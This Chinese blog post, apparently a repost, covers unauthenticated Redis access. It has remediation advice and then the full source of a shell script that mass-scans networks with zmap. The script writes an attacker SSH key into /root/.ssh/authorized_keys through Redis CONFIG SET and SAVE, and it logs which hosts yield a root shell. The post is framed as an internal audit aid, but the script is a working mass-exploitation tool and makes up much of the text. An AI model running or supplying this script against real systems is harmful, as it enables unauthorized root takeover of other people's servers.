博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
redis入侵
阅读量:7156 次
发布时间:2019-06-29

本文共 3253 字,大约阅读时间需要 10 分钟。

一、前言

前段时间,在做内网影响程度评估的时候写了扫描利用小脚本,

扫描后统计发现,内网中60%开放了redis6379端口的主机处于可以被利用的危险状态,因为都是一些默认配置造成的
考虑到本社区大部分开发者都会使用redis,特此分享下以便大家可以对自己公司的内网进行一个排查。

二、漏洞介绍

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

入侵特征:

  1. Redis 可能执行过 FLUSHALL 方法,整个 Redis 数据库被清空
  2. 在 Redis 数据库中新建了一个名为 crackit(网上流传的命令指令) 的键值对,内容为一个 SSH 公钥。
  3. 在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件,内容为 Redis 生成的 db 文件,包含上述公钥

三、修复建议

1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""rename-command CONFIG   ""rename-command EVAL     ""

来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

3.为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外网访问 Redis

修改 redis.conf 文件,添加或修改

bind 127.0.0.1

使得 Redis 服务只在当前主机可用

四、扫描工具

1 使用说明

#以Ubuntu为例    su    # Requirements    apt-get install redis-server expect zmap    git clone https://github.com/qingxp9/yyfexploit    cd yyfexploit/redis    # 扫描6379端口    # 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉 zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt # Usage ./redis.sh ip.txt

最后,将会生成几个txt文件记录结果

其中:
runasroot.txt 表示redis无认证,且以root运行
noauth.txt 表示redis无认证,但以普通用户运行
rootshell.txt 已写入公钥,可直接以证书登录root用户

像这样:

ssh -i id_rsa root@x.x.x.x

2 工具源代码

就贴下代码吧,各位大牛请在家长陪同下观看

#!/bin/sh    if [ $# -eq 1  ] then ip_list=$1 ##create id_rsa echo "****************************************Create id_rsa file" expect -c " spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\" expect { \"*passphrase): \" { exp_send \"\r\" exp_continue } \"*again: \" { exp_send \"\r\" } \"*y/n)? \" { exp_send \"n\r\" } } expect eof " echo "\n\n****************************************Attack Targets" touch noauth.txt runasroot.txt rootshell.txt haveauth.txt i=0 cat $ip_list | while read ip do i=`expr $i + 1`; #write id_rsa.pub to remote echo "*****${ i}***connect to remote ${ ip} redis " expect -c " set timeout 3 spawn redis-cli -h $ip config set dir /root/.ssh/ expect { \"OK\" { exit 0 } \"ERR Changing directory: Permission denied\" { exit 1 } timeout { exit 2 } \"(error) NOAUTH Authentication required\" { exit 3 } } " case $? in 0) echo "run redis as root" echo $ip >> noauth.txt echo $ip >> runasroot.txt ;; 1) echo "not run redis as root\n\n\n" echo $ip >> noauth.txt continue ;; 2) echo "connect timeout\n\n\n" continue ;; 3) echo "Have Auth\n\n\n" echo $ip >> haveauth.txt continue ;; esac (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt cat foo.txt | redis-cli -h $ip -x set 1 redis-cli -h $ip config set dir /root/.ssh/ redis-cli -h $ip config set dbfilename "authorized_keys" redis-cli save #login test echo "#try to login" expect -c " set timeout 5 spawn ssh -i id_rsa root@$ip echo \"yyf\" expect { \"*yes/no\" { send \"yes\n\"} \"*password\" { send \"\003\"; exit 1 } \"yyf\" { exit 0 } timeout { exit 2 } } exit 4 " exitcode=$? if [ $exitcode -eq 0 ] then echo "---------------${ ip} is get root shell" echo $ip >> rootshell.txt fi echo "\n\n\n" done echo "##########Final Count##########" wc -l $ip_list echo "----------" wc -l noauth.txt wc -l runasroot.txt wc -l rootshell.txt echo "----------" wc -l haveauth.txt else echo "usage: ./redis.sh ip.txt" fi

转载于:https://www.cnblogs.com/liqing1009/p/5970764.html

你可能感兴趣的文章
利用锚点制作简单索引效果
查看>>
影响网站打开速度的9大因素
查看>>
HTML5之废弃和更新的元素与属性
查看>>
[转]asp.net解决高并发的方案.
查看>>
(转)unity中基于alpha通道的shadow volume实现
查看>>
linux下svn的co如何排除目录
查看>>
项目中最常用到的颜色
查看>>
[转]10个学习Android开发的网站推荐
查看>>
【linux驱动分析】之dm9000驱动分析(六):dm9000_init和dm9000_probe的实现
查看>>
交大人在各行各业一直不懈追逐着自己的创业梦想,如携程网、
查看>>
CI框架 -- 开发环境、生产环境
查看>>
命令行解析器
查看>>
Aqua Data Studio 查询结果中文乱码
查看>>
2016第21周三问题记录
查看>>
页面中多个script块之间的关系
查看>>
软件开发过程模型
查看>>
CloudFlare Support - Error 522: Connection timed out 错误522:连接超时
查看>>
Maven项目环境搭建实例.
查看>>
Atitit.信息论原理概论attilax总结
查看>>
Openfire 的安装和配置
查看>>